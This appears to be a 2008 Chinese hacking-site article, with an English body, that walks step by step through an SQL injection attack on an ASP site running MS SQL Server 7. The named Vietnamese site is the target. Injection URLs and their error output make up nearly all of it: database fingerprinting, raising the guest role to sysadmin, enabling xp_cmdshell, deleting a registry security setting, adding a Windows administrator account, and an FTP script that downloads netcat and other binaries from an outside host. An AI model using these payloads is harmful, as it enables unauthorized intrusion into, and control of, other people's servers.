NCPH工作室
NCPH工作室 >> 技术文章 >> 脚本技巧 >> 利用odbc来拿本机权限

利用odbc来拿本机权限

[来源:原创] [作者:NCPH] [日期:08-04-14] [热度:]

WEB/SQL分离 利用ODBC注入一直来很多牛人说可以web/sql分离的情况下,利用odbc来拿本机权限,

不过这篇文章好象是连回本地来做测试。不过总算是一个突破。
EXAMPLE TO USE: 
http://www.xxxx.com/FullStory.asp?id=1 


Exploiting the hole: 
http://www.xxxx.com/FullStory.asp?id=1’ 


Code: 

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’ 
[Microsoft][ODBCSQLServerDriver] [SQLServer] 
Unclosed quotation mark before the character string ’’. 
/Including/general.asp, line 840\ 


VERSION 
http://www.xxxx.com/FullStory.asp ... d 1=convert(int,@@version)-- 


Code: 

[SQL Server]Syntax error converting the nvarchar value ’Microsoft SQL Server 7.00 - 7.00.1063 (Intel X86) Apr 9 2002 14:18:16 Copyright © 1988-2002 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ’

to a column of data type int. 
/Including/general.asp, line 840 


SERVER NAME 
http://www.xxxx.com/FullStory.asp ... d 1=convert(int,@@servername)-- 


Code: 

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’ 
[Microsoft] [ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’UNESCO’ to a column of data type int. 
/Including/general.asp, line 840 


DATABASE NAME 
http://www.xxxx.com/FullStory.asp ... d 1=convert(int,db_name())-- 


Code: 

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’ 
[Microsoft] [ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’NhaXinh’ to a column of data type int. 
/Including/general.asp, line 840 

USER 
http://www.XXXX.com/FullStory.asp ... d 1=convert(int,system_user)-- 

Code: 

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’ 
[Microsoft] [ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’nhaxinh’ to a column of data type int. 
/Including/general.asp, line 840 


OPENING REMOTE LINK (http://msdn.microsoft.com/library/default.asp? ... /tsqlref/ts_oa-oz_78z8.asp) 
http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset(’sqloledb’,’’;;,’’)-- 


Code: 

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’ 
[Microsoft] [ODBC SQL Server Driver][SQL Server] Ad hoc access to OLE DB provider ’sqloledb’ has been denied. You must access this provider through a linked server. 
/Including/general.asp, line 840 


GUEST = DB_OWNER :DDD 
http://www.XXXX.com/FullStory.asp? ... ;sp_executesql N’create view dbo.test as select * from master.dbo.sysusers’ exec sp_msdropretry ’xx update sysusers set sid=0x01 where name=’’dbo’’’,’xx’ exec sp_msdropretry ’xx update dbo.test set sid=0x01,roles=0x01 where name=’’guest’’’,’xx’ exec sp_executesql N’drop view dbo.test’-- 


Code: 

 No result expected, normal page loading 
Enable us to do sum nice stuff like xp_regwrite e xp_cmdshell 


ADDIN TO "BUILTIN\ADMINISTRATORS" 
http://www.nhaxinh.com.vn/FullStory.as ... p;sp_executesql N’create view dbo.test as select * from master.dbo.sysxlogins’ exec sp_msdropretry ’xx update sysusers set sid=0x01 where name=’’dbo’’’,’xx’ exec sp_msdropretry ’xx update dbo.test set xstatus=18 where name=’’BUILTIN\ADMINISTRATORS’’’,’xx’ exec sp_executesql N’drop view dbo.test’-- 


and then 

http://www.xxxx.com/FullStory.asp?id=1;ex ... sp_addsrvrolemember ’nhaxinh’,sysadmin -- 

ENABLE OPENROWSET/OLEDB 
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset(’sqloledb’,’’;;,’’)-- 

Code: 

Microsoft OLE DB Provider for ODBC Drivers error ’80004005’ 
[Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user ’SYSTEM’. 
/Including/general.asp, line 840 


http://www.xxxx.com/FullStory.asp?id=1;e ... .xp_regdeletevalue ’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Services\Tcpip\Parameters’,’EnableSecurityFilters’  


ENABLE MASTER..XP_CMDSHELL & "ALLOW UPDATES" 
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset(’sqloledb’, ’server=UNESCO;uid=BUILTIN\Administrators;pwd=’, ’set fmtonly off exec master..sp_addextendedproc xp_cmd,’’xpsql70.dll’’ exec sp_configure ’’allow updates’’, ’’1’’ reconfigure with override’) 


!!PAY ATTETION TO THE SERVER= PARAMETER 

Code: 

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’ 
[Microsoft] [ODBC SQL Server Driver][SQL Server]Could not process object ’set fmtonly off master..sp_addextendedproc xp_cmd ’xpsql70.dll’ exec sp_configure ’allow updates’, ’1’ reconfigure with override’. The OLE DB provider ’sqloledb’ indicates that the object has no columns. 
/Including/general.asp, line 840 


if dun work try: 
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset(’sqloledb’, ’server=UNESCO;uid=BUILTIN\Administrators;pwd=’, ’set fmtonly off select 1 exec master..sp_addextendedproc xp_cmd,’’xpsql70.dll’’ exec sp_configure ’’allow updates’’, ’’1’’ reconfigure with override’)-- 


NOW SCRIPT KIDDIES 


http://www.xxxx.com/FullStory.asp?id=1;drop table&nbs ... ble t(a int identity,b varchar(1000)) insert into t exec master..xp_cmdshell ’ipconfig’-- 
http://www.nhaxinh.com.vn/FullStory. ... and 1=convert(int,(select top 1 b from t where b like ’

%25IP Address%25’))-- (%25 == “%”) 

Code: 


Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’ 
[Microsoft] [ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’ IP Address. . . . . . . . . . . . : 203.162.7.70 ’ to a column

of data type int. 
/Including/general.asp, line 840 


C:\> ping 203.162.7.70 
Pinging 203.162.7.70 with 32 bytes of data: 
Reply from 203.162.7.70: bytes=32 time=232ms TTL=118 
C:\> ftp 203.162.7.70 
Connected to 203.162.7.70. 
220 unesco Microsoft FTP Service (Version 5.0). 
User (203.162.7.70:(none)): 
203.162.7.70 == panvietnam.com 


http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset(’sqloledb’, ’server=UNESCO;uid=BUILTIN\Administrators;pwd=’, ’set fmtonly off select 1 exec xp_cmdshell "net user a /add %26 net localgroup administrators a /add"’)-- (%26 == "&") 


Code: 

C:\> ftp 203.162.7.70 
Connected to 203.162.7.70. 
220 unesco Microsoft FTP Service 
(Version 5.0). 
User (203.162.7.70:(none)): a 
331 Password required for a. 
Password: 
530 User a cannot log in. 
Login failed. 
ftp> bye 


UPLOAD NETCAT LÊN 
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset(’sqloledb’, ’server=UNESCO;uid=BUILTIN\Administrators;pwd=’, ’set fmtonly off select 1 exec master..xp_cmdshell "echo open a.b.c.d %3Ef %26 echo user a a %3E%3Ef %26 echo bin %3E%3Ef %26 echo cd a %3E%3Ef %26 echo mget * %3E%3Ef %26 echo quit %3E%3Ef %26 ftp -v -i -n -s%3Af" %26 del f’)-- (%3E == ">") 


Code: 

echo open a.b.c.d >f 
echo user a a >>f 
echo bin >> f 
echo cd a >>f 
echo mget * >>f 
echo quit >>f 
ftp -v -i -n -s:f 
del f 


http://www.xxxx.com/FullStory.asp?id=1;drop table&nbs ... ble t(a int identity,b varchar(1000)) insert into t exec master..xp_cmdshell ’dir nx.exe’-- 
http://www.xxxx.com/FullStory.asp ... d 1=convert(int,(select b from t where a=1))-- 
http://www.xxxx.com/FullStory.asp ... d 1=convert(int,(select b from t where a=6))-- 

Code: 

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’ 
[Microsoft] [ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’08/17/2003 11:31a 11,776 nx.exe’ to a column of data type int. 
/Including/general.asp, line 840

快速查询

版权所有 © 2004-2008 NCPH工作室 All rights reserved. 蜀ICP备06000541号